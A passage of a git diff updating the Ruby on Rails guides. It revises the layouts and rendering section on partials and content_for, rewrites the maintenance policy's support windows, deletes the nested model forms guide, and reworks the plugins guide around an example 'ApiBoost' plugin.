@@ -892,7 +982,7 @@ You can also specify a special size tag, in the format "{width}x{height}":
 <%= image_tag "home.gif", size: "50x20" %>
 ```
 
-In addition to the above special tags, you can supply a final hash of standard HTML options, such as `:class`, `:id` or `:name`:
+In addition to the above special tags, you can supply a final hash of standard HTML options, such as `:class`, `:id`, or `:name`:
 
 ```erb
 <%= image_tag "home.gif", alt: "Go Home",
@@ -902,7 +992,7 @@ In addition to the above special tags, you can supply a final hash of standard H
 
 #### Linking to Videos with the `video_tag`
 
-The `video_tag` helper builds an HTML 5 `<video>` tag to the specified file. By default, files are loaded from `public/videos`.
+The [`video_tag`][] helper builds an HTML5 `<video>` tag to the specified file. By default, files are loaded from `public/videos`.
 
 ```erb
 <%= video_tag "movie.ogg" %>
@@ -941,7 +1031,7 @@ This will produce:
 
 #### Linking to Audio Files with the `audio_tag`
 
-The `audio_tag` helper builds an HTML 5 `<audio>` tag to the specified file. By default, files are loaded from `public/audios`.
+The [`audio_tag`][] helper builds an HTML5 `<audio>` tag to the specified file. By default, files are loaded from `public/audios`.
 
 ```erb
 <%= audio_tag "music.mp3" %>
@@ -953,7 +1043,7 @@ You can supply a path to the audio file if you like:
 <%= audio_tag "music/first_song.mp3" %>
 ```
 
-You can also supply a hash of additional options, such as `:id`, `:class` etc.
+You can also supply a hash of additional options, such as `:id`, `:class`, etc.
 
 Like the `video_tag`, the `audio_tag` has special options:
 
@@ -970,7 +1060,7 @@ Within the context of a layout, `yield` identifies a section where content from
   <head>
   </head>
   <body>
-  <%= yield %>
+    <%= yield %>
   </body>
 </html>
 ```
@@ -980,19 +1070,21 @@ You can also create a layout with multiple yielding regions:
 ```html+erb
 <html>
   <head>
-  <%= yield :head %>
+    <%= yield :head %>
   </head>
   <body>
-  <%= yield %>
+    <%= yield %>
   </body>
 </html>
 ```
 
-The main body of the view will always render into the unnamed `yield`. To render content into a named `yield`, you use the `content_for` method.
+The main body of the view will always render into the unnamed `yield`. To render content into a named `yield`, call the `content_for` method with the same argument as the named `yield`.
+
+NOTE: Newly generated applications will include `<%= yield :head %>` within the `<head>` element of its `app/views/layouts/application.html.erb` template.
 
 ### Using the `content_for` Method
 
-The `content_for` method allows you to insert content into a named `yield` block in your layout. For example, this view would work with the layout that you just saw:
+The [`content_for`][] method allows you to insert content into a named `yield` block in your layout. For example, this view would work with the layout that you just saw:
 
 ```html+erb
 <% content_for :head do %>
@@ -1007,15 +1099,15 @@ The result of rendering this page into the supplied layout would be this HTML:
 ```html+erb
 <html>
   <head>
-  <title>A simple page</title>
+    <title>A simple page</title>
   </head>
   <body>
-  <p>Hello, Rails!</p>
+    <p>Hello, Rails!</p>
   </body>
 </html>
 ```
 
-The `content_for` method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific JavaScript or css files into the header of an otherwise generic layout.
+The `content_for` method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting page-specific JavaScript `<script>` elements, CSS `<link>` elements, context-specific `<meta>` elements, or any other elements into the `<head>` of an otherwise generic layout.
 
 ### Using Partials
 
@@ -1023,33 +1115,36 @@ Partial templates - usually just called "partials" - are another device for brea
 
 #### Naming Partials
 
-To render a partial as part of a view, you use the `render` method within the view:
+To render a partial as part of a view, you use the [`render`][view.render] method within the view:
 
-```ruby
+```html+erb
 <%= render "menu" %>
 ```
 
 This will render a file named `_menu.html.erb` at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
 
-```ruby
-<%= render "shared/menu" %>
+```html+erb
+<%= render "application/menu" %>
 ```
 
-That code will pull in the partial from `app/views/shared/_menu.html.erb`.
+Since view partials rely on the same [Template Inheritance](#template-inheritance)
+as templates and layouts, that code will pull in the partial from `app/views/application/_menu.html.erb`.
+
+[view.render]: https://api.rubyonrails.org/classes/ActionView/Helpers/RenderingHelper.html#method-i-render
 
 #### Using Partials to Simplify Views
 
 One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:
 
 ```erb
-<%= render "shared/ad_banner" %>
+<%= render "application/ad_banner" %>
 
 <h1>Products</h1>
 
 <p>Here are a few of our fine products:</p>
-...
+<%# ... %>
 
-<%= render "shared/footer" %>
+<%= render "application/footer" %>
 ```
 
 Here, the `_ad_banner.html.erb` and `_footer.html.erb` partials could contain
@@ -1064,9 +1159,9 @@ definitions for several similar resources:
 * `users/index.html.erb`
 
     ```html+erb
-    <%= render "shared/search_filters", search: @q do |f| %>
+    <%= render "application/search_filters", search: @q do |form| %>
       <p>
-        Name contains: <%= f.text_field :name_contains %>
+        Name contains: <%= form.text_field :name_contains %>
       </p>
     <% end %>
     ```
@@ -1074,23 +1169,23 @@ definitions for several similar resources:
 * `roles/index.html.erb`
 
     ```html+erb
-    <%= render "shared/search_filters", search: @q do |f| %>
+    <%= render "application/search_filters", search: @q do |form| %>
       <p>
-        Title contains: <%= f.text_field :title_contains %>
+        Title contains: <%= form.text_field :title_contains %>
       </p>
     <% end %>
     ```
 
-* `shared/_search_filters.html.erb`
+* `application/_search_filters.html.erb`
 
     ```html+erb
-    <%= form_for(search) do |f| %>
+    <%= form_with model: search do |form| %>
       <h1>Search form:</h1>
       <fieldset>
-        <%= yield f %>
+        <%= yield form %>
       </fieldset>
       <p>
-        <%= f.submit "Search" %>
+        <%= form.submit "Search" %>
       </p>
     <% end %>
     ```
@@ -1130,13 +1225,13 @@ You can also pass local variables into partials, making them even more powerful
 * `_form.html.erb`
 
     ```html+erb
-    <%= form_for(zone) do |f| %>
+    <%= form_with model: zone do |form| %>
       <p>
         <b>Zone name</b><br>
-        <%= f.text_field :name %>
+        <%= form.text_field :name %>
       </p>
       <p>
-        <%= f.submit %>
+        <%= form.submit %>
       </p>
     <% end %>
     ```
@@ -1147,31 +1242,31 @@ To pass a local variable to a partial in only specific cases use the `local_assi
 
 * `index.html.erb`
 
-  ```erb
-  <%= render user.articles %>
-  ```
+    ```erb
+    <%= render user.articles %>
+    ```
 
 * `show.html.erb`
 
-  ```erb
-  <%= render article, full: true %>
-  ```
+    ```erb
+    <%= render article, full: true %>
+    ```
 
 * `_article.html.erb`
 
-  ```erb
-  <h2><%= article.title %></h2>
+    ```erb
+    <h2><%= article.title %></h2>
 
-  <% if local_assigns[:full] %>
-    <%= simple_format article.body %>
-  <% else %>
-    <%= truncate article.body %>
-  <% end %>
-  ```
+    <% if local_assigns[:full] %>
+      <%= simple_format article.body %>
+    <% else %>
+      <%= truncate article.body %>
+    <% end %>
+    ```
 
 This way it is possible to use the partial without the need to declare all local variables.
 
-Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the `:object` option:
+Every partial also has a local variable with the same name as the partial (minus the leading underscore). You can pass an object in to this local variable via the `:object` option:
 
 ```erb
 <%= render partial: "customer", object: @new_customer %>
@@ -1206,7 +1301,7 @@ Partials are very useful in rendering collections. When you pass a collection to
 
 When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is `_product`, and within the `_product` partial, you can refer to `product` to get the instance that is being rendered.
 
-There is also a shorthand for this. Assuming `@products` is a collection of `product` instances, you can simply write this in the `index.html.erb` to produce the same result:
+There is also a shorthand for this. Assuming `@products` is a collection of `Product` instances, you can simply write this in the `index.html.erb` to produce the same result:
 
 ```html+erb
 <h1>Products</h1>
@@ -1262,12 +1357,26 @@ You can also pass in arbitrary local variables to any partial you are rendering
 
 In this case, the partial will have access to a local variable `title` with the value "Products Page".
 
-TIP: Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by `_counter`. For example, if you're rendering `@products`, within the partial you can refer to `product_counter` to tell you how many times the partial has been rendered. This does not work in conjunction with the `as: :value` option.
+#### Counter Variables
 
-You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option:
+Rails also makes a counter variable available within a partial called by the collection. The variable is named after the title of the partial followed by `_counter`. For example, when rendering a collection `@products` the partial `_product.html.erb` can access the variable `product_counter`. The variable indexes the number of times the partial has been rendered within the enclosing view, starting with a value of `0` on the first render.
+
+```erb
+# index.html.erb
+<%= render partial: "product", collection: @products %>
+```
+
+```erb
+# _product.html.erb
+<%= product_counter %> # 0 for the first product, 1 for the second product...
+```
+
+This also works when the local variable name is changed using the `as:` option. So if you did `as: :item`, the counter variable would be `item_counter`.
 
 #### Spacer Templates
 
+You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option:
+
 ```erb
 <%= render partial: @products, spacer_template: "product_ruler" %>
 ```
@@ -1297,7 +1406,7 @@ Suppose you have the following `ApplicationController` layout:
     <head>
       <title><%= @page_title or "Page Title" %></title>
       <%= stylesheet_link_tag "layout" %>
-      <style><%= yield :stylesheets %></style>
+      <%= yield :head %>
     </head>
     <body>
       <div id="top_menu">Top menu items here</div>
@@ -1312,9 +1421,11 @@ On pages generated by `NewsController`, you want to hide the top menu and add a
 * `app/views/layouts/news.html.erb`
 
     ```html+erb
-    <% content_for :stylesheets do %>
-      #top_menu {display: none}
-      #right_menu {float: right; background-color: yellow; color: black}
+    <% content_for :head do %>
+      <style>
+        #top_menu {display: none}
+        #right_menu {float: right; background-color: yellow; color: black}
+      </style>
     <% end %>
     <% content_for :content do %>
       <div id="right_menu">Right menu items here</div>
diff --git a/guides/source/maintenance_policy.md b/guides/source/maintenance_policy.md
index 7ced3eab1c6aa..3c2586d04ba09 100644
--- a/guides/source/maintenance_policy.md
+++ b/guides/source/maintenance_policy.md
@@ -1,15 +1,18 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Maintenance Policy for Ruby on Rails
 ====================================
 
-Support of the Rails framework is divided into four groups: New features, bug
-fixes, security issues, and severe security issues. They are handled as
-follows, all versions in `X.Y.Z` format.
+Support of the Rails framework is divided into three groups: New features, bug
+fixes, and security issues. They are handled as
+follows, all versions, except for security releases, in `X.Y.Z`, format.
 
 --------------------------------------------------------------------------------
 
-Rails follows a shifted version of [semver](http://semver.org/):
+Versioning
+------------
+
+Rails follows a shifted version of [semver](https://semver.org/):
 
 **Patch `Z`**
 
@@ -31,50 +34,75 @@ reserved for special occasions.
 New Features
 ------------
 
-New features are only added to the master branch and will not be made available
-in point releases.
+New features are only added to the main branch and will not be made available
+in Patch releases.
 
 Bug Fixes
 ---------
 
-Only the latest release series will receive bug fixes. When enough bugs are
-fixed and its deemed worthy to release a new gem, this is the branch it happens
-from.
+Minor releases will receive bug fixes for one year after the first release in
+its series. For example, if a theoretical 1.1.0 is released on January 1, 2023, it
+will receive bug fixes until January 1, 2024. After that, it will be considered
+unsupported.
 
-In special situations, where someone from the Core Team agrees to support more series,
-they are included in the list of supported series.
+Bug fixes are typically added to the main branch, and backported to the x-y-stable
+branch of the latest release series if there is sufficient need. When enough bugs
+fixes have been added to an x-y-stable branch, a new Patch release is built from it.
+For example, a theoretical 1.2.2 Patch release would be built from the 1-2-stable branch.
 
-**Currently included series:** `5.0.Z`, `4.2.Z`.
+For unsupported series, bug fixes may coincidentally land in a stable branch,
+but won't be released in an official version. It is recommended to point your
+application at the stable branch using Git for unsupported versions.
 
 Security Issues
 ---------------
 
-The current release series and the next most recent one will receive patches
-and new versions in case of a security issue.
+Minor releases will receive security fixes for two years after the first release in
+its series. For example, if a theoretical 1.1.0 is released on January 1, 2023, it
+will receive security fixes until January 1, 2025. After that, it will reach its
+end-of-life.
 
 These releases are created by taking the last released version, applying the
 security patches, and releasing. Those patches are then applied to the end of
-the x-y-stable branch. For example, a theoretical 1.2.3 security release would
+the x-y-stable branch. For example, a theoretical 1.2.2.1 security release would
 be built from 1.2.2, and then added to the end of 1-2-stable. This means that
 security releases are easy to upgrade to if you're running the latest version
 of Rails.
 
-**Currently included series:** `5.0.Z`, `4.2.Z`.
-
-Severe Security Issues
-----------------------
+Only direct security patches will be included in security releases. Fixes for
+non-security related bugs resulting from a security patch may be published on a
+release's x-y-stable branch, and will only be released as a new gem in
+accordance with the Bug Fixes policy.
 
-For severe security issues we will provide new versions as above, and also the
-last major release series will receive patches and new versions. The
-classification of the security issue is judged by the core team.
+Security releases are cut from the last security release branch/tag. Otherwise
+there could be breaking changes in the security release. A security release
+should only contain the changes needed to ensure the app is secure so that it's
+easier for applications to remain upgraded.
 
-**Currently included series:** `5.0.Z`, `4.2.Z`.
-
-Unsupported Release Series
+End-of-life Release Series
 --------------------------
 
-When a release series is no longer supported, it's your own responsibility to
+When a release series reaches its end-of-life, it's your own responsibility to
 deal with bugs and security issues. We may provide backports of the fixes and
-publish them to git, however there will be no new versions released. If you are
-not comfortable maintaining your own versions, you should upgrade to a
-supported version.
+merge them, however there will be no new versions released. We
+recommend to point your application at the stable branch using Git. If you are
+not comfortable maintaining your own versions, you should upgrade to a supported
+version.
+
+Release schedule
+----------------
+
+We aim to release a version containing new features every six months. In the rare case where
+no release was made in one year, we will extend the support period for the previous release
+until the next release is made.
+
+npm Packages
+------------
+
+Due to a constraint with npm, we are unable to use the 4th digit for security
+releases of [npm packages][] provided by Rails. This means that instead of the
+equivalent gem version `7.0.1.4`, the npm package will be versioned `7.0.104`.
+
+The version will be calculated as `X.Y.Z0A`, where `A` is the security release.
+
+[npm packages]: https://www.npmjs.com/org/rails
diff --git a/guides/source/nested_model_forms.md b/guides/source/nested_model_forms.md
deleted file mode 100644
index 71efa4b0d07a1..0000000000000
--- a/guides/source/nested_model_forms.md
+++ /dev/null
@@ -1,230 +0,0 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
-
-Rails Nested Model Forms
-========================
-
-Creating a form for a model _and_ its associations can become quite tedious. Therefore Rails provides helpers to assist in dealing with the complexities of generating these forms _and_ the required CRUD operations to create, update, and destroy associations.
-
-After reading this guide, you will know:
-
-* do stuff.
-
---------------------------------------------------------------------------------
-
-NOTE: This guide assumes the user knows how to use the [Rails form helpers](form_helpers.html) in general. Also, it's **not** an API reference. For a complete reference please visit [the Rails API documentation](http://api.rubyonrails.org/).
-
-
-Model setup
------------
-
-To be able to use the nested model functionality in your forms, the model will need to support some basic operations.
-
-First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The `fields_for` form helper will look for this method to decide whether or not a nested model form should be built.
-
-If the associated object is an array, a form builder will be yielded for each object, else only a single form builder will be yielded.
-
-Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the `:address` attribute, the `fields_for` form helper will look for a method on the Person instance named `address_attributes=`.
-
-### ActiveRecord::Base model
-
-For an ActiveRecord::Base model and association this writer method is commonly defined with the `accepts_nested_attributes_for` class method:
-
-#### has_one
-
-```ruby
-class Person < ApplicationRecord
-  has_one :address
-  accepts_nested_attributes_for :address
-end
-```
-
-#### belongs_to
-
-```ruby
-class Person < ApplicationRecord
-  belongs_to :firm
-  accepts_nested_attributes_for :firm
-end
-```
-
-#### has_many / has_and_belongs_to_many
-
-```ruby
-class Person < ApplicationRecord
-  has_many :projects
-  accepts_nested_attributes_for :projects
-end
-```
-
-NOTE: For greater detail on associations see [Active Record Associations](association_basics.html).
-For a complete reference on associations please visit the API documentation for [ActiveRecord::Associations::ClassMethods](http://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html).
-
-### Custom model
-
-As you might have inflected from this explanation, you _don't_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behavior:
-
-#### Single associated object
-
-```ruby
-class Person
-  def address
-    Address.new
-  end
-
-  def address_attributes=(attributes)
-    # ...
-  end
-end
-```
-
-#### Association collection
-
-```ruby
-class Person
-  def projects
-    [Project.new, Project.new]
-  end
-
-  def projects_attributes=(attributes)
-    # ...
-  end
-end
-```
-
-NOTE: See (TODO) in the advanced section for more information on how to deal with the CRUD operations in your custom model.
-
-Views
------
-
-### Controller code
-
-A nested model form will _only_ be built if the associated object(s) exist. This means that for a new model instance you would probably want to build the associated object(s) first.
-
-Consider the following typical RESTful controller which will prepare a new Person instance and its `address` and `projects` associations before rendering the `new` template:
-
-```ruby
-class PeopleController < ApplicationController
-  def new
-    @person = Person.new
-    @person.build_address
-    2.times { @person.projects.build }
-  end
-
-  def create
-    @person = Person.new(params[:person])
-    if @person.save
-      # ...
-    end
-  end
-end
-```
-
-NOTE: Obviously the instantiation of the associated object(s) can become tedious and not DRY, so you might want to move that into the model itself. ActiveRecord::Base provides an `after_initialize` callback which is a good way to refactor this.
-
-### Form code
-
-Now that you have a model instance, with the appropriate methods and associated object(s), you can start building the nested model form.
-
-#### Standard form
-
-Start out with a regular RESTful form:
-
-```erb
-<%= form_for @person do |f| %>
-  <%= f.text_field :name %>
-<% end %>
-```
-
-This will generate the following html:
-
-```html
-<form action="/people" class="new_person" id="new_person" method="post">
-  <input id="person_name" name="person[name]" type="text" />
-</form>
-```
-
-#### Nested form for a single associated object
-
-Now add a nested form for the `address` association:
-
-```erb
-<%= form_for @person do |f| %>
-  <%= f.text_field :name %>
-
-  <%= f.fields_for :address do |af| %>
-    <%= af.text_field :street %>
-  <% end %>
-<% end %>
-```
-
-This generates:
-
-```html
-<form action="/people" class="new_person" id="new_person" method="post">
-  <input id="person_name" name="person[name]" type="text" />
-
-  <input id="person_address_attributes_street" name="person[address_attributes][street]" type="text" />
-</form>
-```
-
-Notice that `fields_for` recognized the `address` as an association for which a nested model form should be built by the way it has namespaced the `name` attribute.
-
-When this form is posted the Rails parameter parser will construct a hash like the following:
-
-```ruby
-{
-  "person" => {
-    "name" => "Eloy Duran",
-    "address_attributes" => {
-      "street" => "Nieuwe Prinsengracht"
-    }
-  }
-}
-```
-
-That's it. The controller will simply pass this hash on to the model from the `create` action. The model will then handle building the `address` association for you and automatically save it when the parent (`person`) is saved.
-
-#### Nested form for a collection of associated objects
-
-The form code for an association collection is pretty similar to that of a single associated object:
-
-```erb
-<%= form_for @person do |f| %>
-  <%= f.text_field :name %>
-
-  <%= f.fields_for :projects do |pf| %>
-    <%= pf.text_field :name %>
-  <% end %>
-<% end %>
-```
-
-Which generates:
-
-```html
-<form action="/people" class="new_person" id="new_person" method="post">
-  <input id="person_name" name="person[name]" type="text" />
-
-  <input id="person_projects_attributes_0_name" name="person[projects_attributes][0][name]" type="text" />
-  <input id="person_projects_attributes_1_name" name="person[projects_attributes][1][name]" type="text" />
-</form>
-```
-
-As you can see it has generated 2 `project name` inputs, one for each new `project` that was built in the controller's `new` action. Only this time the `name` attribute of the input contains a digit as an extra namespace. This will be parsed by the Rails parameter parser as:
-
-```ruby
-{
-  "person" => {
-    "name" => "Eloy Duran",
-    "projects_attributes" => {
-      "0" => { "name" => "Project 1" },
-      "1" => { "name" => "Project 2" }
-    }
-  }
-}
-```
-
-You can basically see the `projects_attributes` hash as an array of attribute hashes, one for each model instance.
-
-NOTE: The reason that `fields_for` constructed a hash instead of an array is that it won't work for any form nested deeper than one level deep.
-
-TIP: You _can_ however pass an array to the writer method generated by `accepts_nested_attributes_for` if you're using plain Ruby or some other API access. See (TODO) for more info and example.
diff --git a/guides/source/plugins.md b/guides/source/plugins.md
index 760ff431c0171..9a8c9e3a4aad3 100644
--- a/guides/source/plugins.md
+++ b/guides/source/plugins.md
@@ -1,495 +1,789 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 The Basics of Creating Rails Plugins
 ====================================
 
-A Rails plugin is either an extension or a modification of the core framework. Plugins provide:
-
-* A way for developers to share bleeding-edge ideas without hurting the stable code base.
-* A segmented architecture so that units of code can be fixed or updated on their own release schedule.
-* An outlet for the core developers so that they don't have to include every cool new feature under the sun.
+This guide is for developers who want to create a Rails plugin, in order to
+extend or modify the behavior of a Rails application.
 
 After reading this guide, you will know:
 
+* What Rails plugins are and when to use them.
 * How to create a plugin from scratch.
-* How to write and run tests for the plugin.
+* How to extend core Ruby classes.
+* How to add methods to `ApplicationRecord`.
+* How to publish your plugin to RubyGems.
+
+--------------------------------------------------------------------------------
 
-This guide describes how to build a test-driven plugin that will:
+What are Plugins?
+-----------------
+
+A Rails plugin is a packaged extension that adds functionality to a Rails
+application. Plugins serve several purposes:
+
+* They offer a way for developers to experiment with new ideas without affecting
+  the stability of the core codebase.
+* They support a modular architecture, allowing features to be maintained,
+  updated, or released independently.
+* They give teams an outlet for introducing powerful features without needing to
+  include everything directly into the framework.
+
+At a technical level, a plugin is a Ruby gem that’s designed to work inside a
+Rails application. It often uses a
+[Railtie](https://api.rubyonrails.org/classes/Rails/Railtie.html) to hook into the
+Rails boot process, allowing it to extend or modify the framework's behavior in
+a structured way. A Railtie is the most
+basic integration point for extending Rails — it’s typically used when your
+plugin needs to add configuration, rake tasks, or initializer code, but doesn’t
+expose any controllers, views, or models.
+
+NOTE:
+An [Engine](engines.html) is a more advanced type of plugin that behaves like a mini Rails
+application. It can include its own routes, controllers, views, and even assets.
+While all engines are plugins, not all plugins are engines. The main difference lies
+in scope: plugins are typically used for smaller customizations or shared
+behavior across apps, whereas engines provide more fully-featured components
+with their own routes, models, and views.
+
+
+Generator Options
+------------------
 
-* Extend core Ruby classes like Hash and String.
-* Add methods to `ApplicationRecord` in the tradition of the `acts_as` plugins.
-* Give you information about where to put generators in your plugin.
+Rails plugins are built as gems. They can be shared across different Rails
+applications using [RubyGems](https://guides.rubygems.org/make-your-own-gem/)
+and [Bundler](https://bundler.io/guides/creating_gem.html) if desired.
 
-For the purpose of this guide pretend for a moment that you are an avid bird watcher.
-Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle
-goodness.
+The `rails plugin new` command supports several options that determine what type
+of plugin structure is generated.
 
---------------------------------------------------------------------------------
+The **Basic Plugin** (default), without any arguments, generates a minimal
+plugin structure suitable for simple extensions like core class methods or
+utility functions.
 
-Setup
------
+```bash
+$ rails plugin new api_boost
+```
+
+We'll use the basic plugin generator for this guide. There are two options,
+`--full` and `--mountable`, which are covered in the [Rails Engines
+guide](engines.html).
 
-Currently, Rails plugins are built as gems, _gemified plugins_. They can be shared across
-different Rails applications using RubyGems and Bundler if desired.
+The **Full Plugin** (`--full`) option creates a more complete plugin structure
+that includes an `app` directory tree (models, views, controllers), a
+`config/routes.rb` file, and an Engine class at `lib/api_boost/engine.rb`.
+
+```bash
+$ rails plugin new api_boost --full
+```
 
-### Generate a gemified plugin.
+Use `--full` when your plugin needs its own models, controllers, or views but
+doesn't require namespace isolation.
 
+The **Mountable Engine** (`--mountable`) option creates a fully isolated,
+mountable engine that includes everything from `--full` plus:
 
-Rails ships with a `rails plugin new` command which creates a
-skeleton for developing any kind of Rails extension with the ability
-to run integration tests using a dummy Rails application. Create your
-plugin with the command:
+- Namespace isolation (`ApiBoost::` prefix for all classes)
+- Isolated routing (`ApiBoost::Engine.routes.draw`)
+- Asset manifest files
+- Namespaced `ApplicationController` and `ApplicationHelper`
+- Automatic mounting in the dummy app for testing
 
 ```bash
-$ rails plugin new yaffle
+$ rails plugin new api_boost --mountable
 ```
 
+Use `--mountable` when building a self-contained feature that could work as a
+separate application.
+
+For more information about engines, see the [Getting Started with Engines
+guide](engines.html).
+
+Below is some guidance on choosing the right option:
+
+- **Basic plugin**: Simple utilities, core class extensions, or small helper
+  methods
+- **`--full` plugin**: Complex functionality that needs models/controllers but
+  shares the host app's namespace
+- **`--mountable` engine**: Self-contained features like admin panels, blogs, or
+  API modules
+
 See usage and options by asking for help:
 
 ```bash
 $ rails plugin new --help
 ```
 
-Testing Your Newly Generated Plugin
------------------------------------
+Setup
+------
+
+For the purpose of this guide, imagine you're building APIs and want to create a
+plugin that adds common API functionality like request throttling, response
+caching, and automatic API documentation. You'll create a plugin called
+"ApiBoost" that can enhance any Rails API application.
 
-You can navigate to the directory that contains the plugin, run the `bundle install` command
- and run the one generated test using the `bin/test` command.
+### Generate the Plugin
 
-You should see:
+Create a basic plugin with the command:
 
 ```bash
-  1 runs, 1 assertions, 0 failures, 0 errors, 0 skips
+$ rails plugin new api_boost
 ```
 
-This will tell you that everything got generated properly and you are ready to start adding functionality.
+This will create the ApiBoost plugin in a directory named `api_boost`. Let's
+examine what was generated:
 
-Extending Core Classes
-----------------------
+```
+api_boost/
+├── api_boost.gemspec
+├── Gemfile
+├── lib/
+│   ├── api_boost/
+│   │   └── version.rb
+│   ├── api_boost.rb
+│   └── tasks/
+│       └── api_boost_tasks.rake
+├── test/
+│   ├── dummy/
+│   │   ├── app/
+│   │   ├── bin/
+│   │   ├── config/
+│   │   ├── db/
+│   │   ├── public/
+│   │   └── ... (full Rails application)
+│   ├── integration/
+│   └── test_helper.rb
+├── MIT-LICENSE
+└── README.md
+```
+
+**The `lib` directory** contains your plugin's source code:
 
-This section will explain how to add a method to String that will be available anywhere in your Rails application.
+- `lib/api_boost.rb` is the main entry point for your plugin
+- `lib/api_boost/` contains modules and classes for your plugin functionality
+- `lib/tasks/` contains any Rake tasks your plugin provides
 
-In this example you will add a method to String named `to_squawk`. To begin, create a new test file with a few assertions:
+**The `test/dummy` directory** contains a complete Rails application that's used
+for testing your plugin. This dummy application:
+
+- Loads your plugin automatically through the Gemfile
+- Provides a Rails environment to test your plugin's integration
+- Includes generators, models, controllers, and views as needed for testing
+- Can be used interactively with `rails console` and `rails server`
+
+**The Gemspec file** (`api_boost.gemspec`) defines your gem's metadata,
+dependencies, and the files to include when packaging.
+
+
+### Set Up the Plugin
+
+Navigate to the directory that contains the plugin, and edit `api_boost.gemspec`
+to replace any lines that have `TODO` values:
 
 ```ruby
-# yaffle/test/core_ext_test.rb
+spec.homepage    = "http://example.com"
+spec.summary     = "Enhance your API endpoints"
+spec.description = "Adds common API functionality like request throttling, response caching, and automatic API documentation."
 
-require 'test_helper'
+...
 
-class CoreExtTest < ActiveSupport::TestCase
-  def test_to_squawk_prepends_the_word_squawk
-    assert_equal "squawk! Hello World", "Hello World".to_squawk
-  end
-end
+spec.metadata["source_code_uri"] = "http://example.com"
+spec.metadata["changelog_uri"] = "http://example.com"
 ```
 
-Run `bin/test` to run the test. This test should fail because we haven't implemented the `to_squawk` method:
-
-```bash
-E
+Then run the `bundle install` command.
 
-Error:
-CoreExtTest#test_to_squawk_prepends_the_word_squawk:
-NoMethodError: undefined method `to_squawk' for "Hello World":String
+After that, set up your testing database by navigating to the `test/dummy`
+directory and running the following command:
 
+```bash
+$ cd test/dummy
+$ bin/rails db:create
+```
 
-bin/test /path/to/yaffle/test/core_ext_test.rb:4
+The dummy application works just like any Rails application - you can generate
+models, run migrations, start the server, or open a console to test the plugin's
+functionality as you develop it.
 
-.
+Once the database is created, return to the plugin's root directory (`cd
+../..`).
 
-Finished in 0.003358s, 595.6483 runs/s, 297.8242 assertions/s.
+Now you can run the tests using the `bin/test` command, and you should see:
 
-2 runs, 1 assertions, 0 failures, 1 errors, 0 skips
+```bash
+$ bin/test
+...
+1 runs, 1 assertions, 0 failures, 0 errors, 0 skips
 ```
 
-Great - now you are ready to start development.
+This will tell you that everything got generated properly, and you are ready to
+start adding functionality.
+
+Extending Core Classes
+----------------------
 
-In `lib/yaffle.rb`, add `require 'yaffle/core_ext'`:
+This section will explain how to add a method to
+[Integer](https://docs.ruby-lang.org/en/master/Integer.html) that will be
+available anywhere in your Rails application.
+
+WARNING: Before proceeding, it's important to understand that extending core
+classes (like String, Array, Hash, etc.) should be used sparingly, if at all.
+Core class extensions can be brittle, dangerous, and are often
+unnecessary.<br></br> They can:</br>
+- Cause naming conflicts when multiple gems extend the same class with the same
+  method name</br>
+- Break unexpectedly when Ruby or Rails updates change core class behavior</br>
+- Make debugging difficult because it's not obvious where methods come from</br>
+- Create coupling issues between your plugin and other code<br></br> Better
+alternatives to consider:</br>
+- Create utility modules or helper classes instead</br>
+- Use composition over monkey patching</br>
+- Implement functionality as instance methods on your own classes<br></br> For
+more details on why core class extensions can be problematic, see [The Case
+Against Monkey
+Patching](https://shopify.engineering/the-case-against-monkey-patching).
+<br></br> That said, understanding how core class extensions work is valuable.
+The example below demonstrates the technique, but they should be used sparingly.
+
+In this example you will add a method to Integer named `requests_per_hour`.
+
+In `lib/api_boost.rb`, add `require "api_boost/core_ext"`:
 
 ```ruby
-# yaffle/lib/yaffle.rb
+# api_boost/lib/api_boost.rb
 
-require 'yaffle/core_ext'
+require "api_boost/version"
+require "api_boost/railtie"
+require "api_boost/core_ext"
 
-module Yaffle
+module ApiBoost
+  # Your code goes here...
 end
 ```
 
-Finally, create the `core_ext.rb` file and add the `to_squawk` method:
+Create the `core_ext.rb` file and add a method to Integer to define a RateLimit
+that could define `10.requests_per_hour`, similar to `10.hours` that returns a
+Time.
 
 ```ruby
-# yaffle/lib/yaffle/core_ext.rb
+# api_boost/lib/api_boost/core_ext.rb
+
+ApiBoost::RateLimit = Data.define(:requests, :per)
 
-String.class_eval do
-  def to_squawk
-    "squawk! #{self}".strip
+class Integer
+  def requests_per_hour
+    ApiBoost::RateLimit.new(self, :hour)
   end
 end
 ```
 
-To test that your method does what it says it does, run the unit tests with `bin/test` from your plugin directory.
+To see this in action, change to the `test/dummy` directory, start `bin/rails
+console`, and test the API response formatting:
 
 ```bash
-  2 runs, 2 assertions, 0 failures, 0 errors, 0 skips
+$ cd test/dummy
+$ bin/rails console
 ```
 
-To see this in action, change to the test/dummy directory, fire up a console and start squawking:
-
-```bash
-$ bin/rails console
->> "Hello World".to_squawk
-=> "squawk! Hello World"
+```irb
+irb> 10.requests_per_hour
